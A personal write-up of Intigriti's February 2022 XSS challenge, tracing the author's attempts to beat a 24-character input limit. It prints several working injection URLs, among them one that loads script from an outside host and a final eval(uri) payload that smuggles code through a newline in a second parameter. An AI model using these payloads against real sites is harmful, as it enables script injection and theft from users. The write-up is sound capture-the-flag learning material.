Solving Intigriti’s February XSS Challenge

I have completed challenges before, but this is my first write-up. Previously, I was always too lazy for it, but now I’m making an effort to increase my chances for some “swag” from the shop.

Anton Vroemans
5 min readFeb 13, 2022

The setup

We begin by looking closely at the challenge. You can follow along yourself if the challenge is still online. (https://challenge-0222.intigriti.io/). The goal is to execute alert(document.domain) on the site.

What we see first when we open the page is an important rule: we can only enter 24 characters. When we dive further into the code, we notice that the challenge consists primarily of getting around this, because with only 24 characters, it is impossible to get the 22-character payload executed.

Image of the relevant javascript code
I made sure not to miss any Javascript

Reading and understanding the code

First, the `window.name` variable is set. Other than that, this variable is not really used, but it is suspicious and often indicates use with frames.

The showModal() function accepts 2 parameters and writes them in the DOM by setting innerHTML value. That sounds exploitable.

Line 11–26 validate the length of the “name” when the form is submitted. If the input is 24 or less characters, we get redirected to the same page with the name as “q” parameter and the checkbox as the “first” parameter.

In the last few lines the “q” parameter gets parsed out of the URL. It gets passed to the exploitable showModal function after the length is validated again. Note that the parsing is done in a special way. More obvious ways can be found here. In addition, the “first” parameter is not used anywhere.

First attempt

We already saw many suspicious things, but I noticed in previous challenges that sometimes this was simply bait. Let’s start at the beginning with some simple XSS. It’s just injected via innerHTML anyway. I found this great short website with the required payload online: https://15.rs/ . I can just import this into the website, and that’s it. I try this payload.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<script src=//15.rs>&first=yes

It was a little naive to think that this would work right away. But why not? When I opened Chrome’s debug console I saw that the code was injected, but not executed. After some googling I found an explanation on mozilla.org.

HTML5 specifies that a <script> tag inserted with innerHTML should not execute. However, there are ways to execute JavaScript without using <script> elements

Bad news, but they are so friendly to give an alternative. According to their documentation <img src='x' onerror='alert(1)'> would work as well, but sadly that exceeds our 24 character limit. The journey goes on…

Euh, help… Google?

After a bit of Googling I found this great summary “Tiny XSS Payloads by Terjanq”. It uses some clever techniques to execute javascript code with as few characters as possible. I took the first payload, changed it a little and tried it out.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<svg/onload=alert(1)>&first=yes

This gives an alert as a result. Awesome! The problem now is that document.domain is way too long to put in the alert function, so we have to look for a workaround. Maybe there are some useful variables in the window object I could use? I printed the window object in the debug console and looked through. I found window.uri which contained the full URL. This is short enough to fit, since the “window” part can be omitted.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<svg/onload=alert(uri)>&first=yes
Alert message showing the URI

The full URL is now alerted, but this is not the domain as required by the challenge. The payload would be too long, so we need to look for other ways to smuggle it in.

window.name

Let’s try something else. Maybe we can smuggle the payload through an iframe. When I do `alert(name)` I already get an alert with the value set at the beginning of the script. Lets see if we can change that value.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<iframe src=//myshortdomain.be>&first=yes

I made an iframe to a domain of myself. Now there is no space left to execute any more code, so even if we succeeded in modifying window.name, this would not help us. I can fire alerts in my iframe, so I might be able to do it this way. Maybe I can access the top window instead of sending my payload there. I could extract the domain and alert it inside my iframe. Let’s try accessing window.top from inside the frame.

I got this error when I tried to access window.top

This didn’t work either. In retrospect, it was actually obvious that none of this would work. “showModal” is executed immediately after window.name is set. So it is not possible to modify it in the meantime. In addition, there are cross-origin complications to solving this challenge with an iframe. Looks like this was bait after all…

Smuggling the payload via the URL

It looks like we will have to inject the payload through the URL anyway. Perhaps look beyond the “q” parameter alone, with the character limit.

I had a hunch to use location.hash, but this too was too long to attach to our previous payload. Suddenly it occurred to me. I used “uri” in an alert before, but I could just use this to inject the payload with eval instead.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<svg%2Fonload%3Deval(uri)>&first=yes

This tried to execute the URI, but obviously gave an error since this isn’t valid Javascript. I tried appending a quote before the URI so I could end with a quote and a column. This would make valid Javascript after which I could continue with my payload. There wasn’t enough space for this though. I tried a simple column with my payload, but this still resulted in an error. Next up I tried an URL encoded newline, with success.

https://challenge-0222.intigriti.io/challenge/xss.html?q=<svg%2Fonload%3Deval(uri)>&first=yes%0aalert(document.domain)

Looks like we found the solution. The second “first” parameter wasn’t so useless after all. This also explains why the “q” parameter was extracted in such a weird way.

Chrome and Firefox

The challenge clearly stated that the solution should work in both Chrome and Firefox. When I tried that just to be sure, this did not seem to be the case for me. After a bit of debugging it turned out that Firefox did not execute the onload on the SVG, so I had to find another injection method. I returned to Terjanq’s summary and looked for another one that did work in both browsers. The second one seemed to satisfy.

https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle/onload=eval(uri)%3E&first=;%0Aalert(document.domain)

Conclusion

In total, I spent almost a day on this. I often found myself on the wrong track, or momentarily not knowing what to do. I have tried to include this in this write-up so you can better understand how I approach such challenges.

This is my first write-up so feedback is definitely appreciated. Be sure to leave a clap (or several) if you want to read more of these in the future.

--

--

Anton Vroemans

I write mainly about security and programming. I look for effecient solutions to problems. Programming and electronics are my passion.